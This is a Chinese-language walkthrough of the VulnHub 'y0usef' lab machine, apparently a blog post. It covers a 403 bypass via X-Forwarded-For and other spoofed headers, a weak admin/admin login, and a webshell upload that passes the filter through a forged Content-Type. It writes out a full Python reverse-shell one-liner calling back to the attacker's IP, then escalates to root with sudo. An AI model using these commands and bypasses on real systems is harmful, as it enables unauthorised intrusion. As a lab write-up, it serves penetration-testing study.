VnlnHub y0usef

发布于:2022-12-21 ⋅ 阅读:(667) ⋅ 点赞:(0)

靶场搭建

靶场下载地址:https://download.vulnhub.com/y0usef/y0usef.ova

下载下来是虚拟机.ova压缩文件,这个靶机是VirtualBox的,想要用VM打开可以看我这篇文章:如何将VirtualBox虚拟机转换到VMware中_奋斗吧!小胖子的博客-CSDN博客

打开后把网络模式设置为NAT模式(桥接模式也可以,和kali攻击机保持一致就可以)

开启虚拟机

efa316ca3e2443b09c2a73cafa0cff9c.png

靶场搭建完毕

 

 

 

 

渗透测试

由于不知道靶机ip,所以需要扫描NAT的网段

09777e0ed420404cb0ac6fccd52b31b5.png

128是kali攻击机的ip,所以靶机ip为137

 

扫描靶机端口服务开放情况

3ac26d68e8f44e3092468901cf7587ec.png

开放了22端口,存在ssh服务

开放了80端口,存在http服务,且中间件为Apache 2.4.10

 

先访问一下WEB

2ca9f828f54748529f975abb188141ba.png

f30db58c2d6b42beb5eabf6d5dd49033.png

 

页面提示网站正在建设中,马上就要运行了

搜索一下敏感目录

7d312d346f7d4d3ea30dad8e5c23761f.png

 

找到了/adminstretion目录

fcb23728c79c492997d7c44f17a1ea34.png

fa987cb4785f45c5a01636d91ba94e37.png

 

找到了/index.php/login目录,和初始页面一样

e8b19216c8c24689ba1c385829f9384f.png

 

前面/adminstretion目录403forbidden,禁止访问,看能否绕过

可以通过

1、修改host为旁站绕过

Request
GET /auth/login HTTP/1.1
Host : www.abc.com
Response
HTTP/1.1 403 Forbidden

Request
GET /auth/login HTTP/1.1
Host : $xxx$.abc.com
Response
HTTP/1.1 200 OK

2、url覆盖

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden

Reqeust
GET / HTTP/1.1
X-Original-URL: /auth/login 
Response 
HTTP/1.1 200 OK

3、referer绕过

Request
GET /auth/login HTTP/1.1
Response
HTTP/1.1 403 Forbidden

Reqeust
GET/ HTTP/1.1
ReFerer: https://10.0.2.30/auth/loginResponse
HTTP/1.1 200 oK

4、各种头部注入

X-Originating-IP:127.0.0.1
X-Remote-IP:127.0.0.1
X-Forwarded-For: 127.0.0.1

 

这里通过添加X-Forwarded-For: 127.0.0.1 让服务器误以为请求来自于服务器自己,就不做检查,成功绕过

42b42551b04241a9babfb5af95d6edd8.png

6f8fd09ecab54eeeb6ed43b5ba0da573.png

 

发现要我们输入账号密码

9ce728e5fa93430da53eaa424daeae69.png

旁边还提示我们从来不会分享你的用户名给其他人

 

测试一下是否弱口令

发现存在弱口令admin/admin

79d63a6fb64c4429bbedf7b065c1babd.png

6fc027a3a61940ab850813a7bfe5380e.png

 

发现一个文件上传点

21a7db3496ab41fd8a9ace720ee49729.png

 

试着上传webshell

e53dc5d11aac4b9aa81a3b2f3c0dd7a2.png

 

发现不允许上传,上传有检查

71a28a6bf48346a3b46f829d4d70b157.png

 

试着上传一个txt文件,发现也不行

再尝试上传一个jpeg文件也不行

尝试上传一个png文件,发现上传成功,服务器只允许上传png文件,我们看能否进行绕过

c5ff6b9cff2f44fda621c86084d4f7ea.png

 

上传php文件修改content-type为image/png

a745e2a9b9c34ff08df6decbb8ae3334.png

 

发现成功上传,看来服务器只对content-type进行了检测

18cf8644a327491098c119a490bd6b85.png

 

访问webshell,成功访问

6953b0e733d948ccb740023bb70d6829.png

 

利用webshell反弹shell

看一下是否有nc

76e64a4316154e81bca2c4edf9f2a85c.png

看一下是否有python

9cae568920cf4047aae2fa0b814c79e9.png

 

使用python反弹shell

在kali本地监听4444端口

执行以下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.52.128",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

1cfcb6c46c914f0eabdaa2c0859503cb.png

 

成功获得shell

0860d383eaab4b7aa468a54af659086c.png

 

在upload目录下发现index.php,查看发现不光可以上传png文件,jpg和gif也可以

1753e58f65f9460993b3114718fcaff0.png

 

在/home目录下发现第一个flag user.txt

04b5f7b71e774848925474d12fb91a4c.png

 

这段flag看起来像一段base64编码,解码发现果然是base64编码,内容为yousef的账号和密码

f72bad11cea74ef585e20d4b0ce40abc.png

 

通过ssh登录,登录成功

e986c4a4e05f470fbfe86916eed88806.png

 

 

进行提权

sudo提权

sudo -l 查看是否有可提权的命令

514f8126175c4458bde3d4f4a7d45f07.png

发现可以运行所有命令

直接通过sudo -s成功提权到root用户

0fc6d3345422446cbe6ef98da99a4f3a.png

获得最后一个flag

34fba0a9db1c4810a4c44265d95b19d9.png

 

本文含有隐藏内容,请 开通VIP 后查看

网站公告

今日签到

点亮在社区的每一天
去签到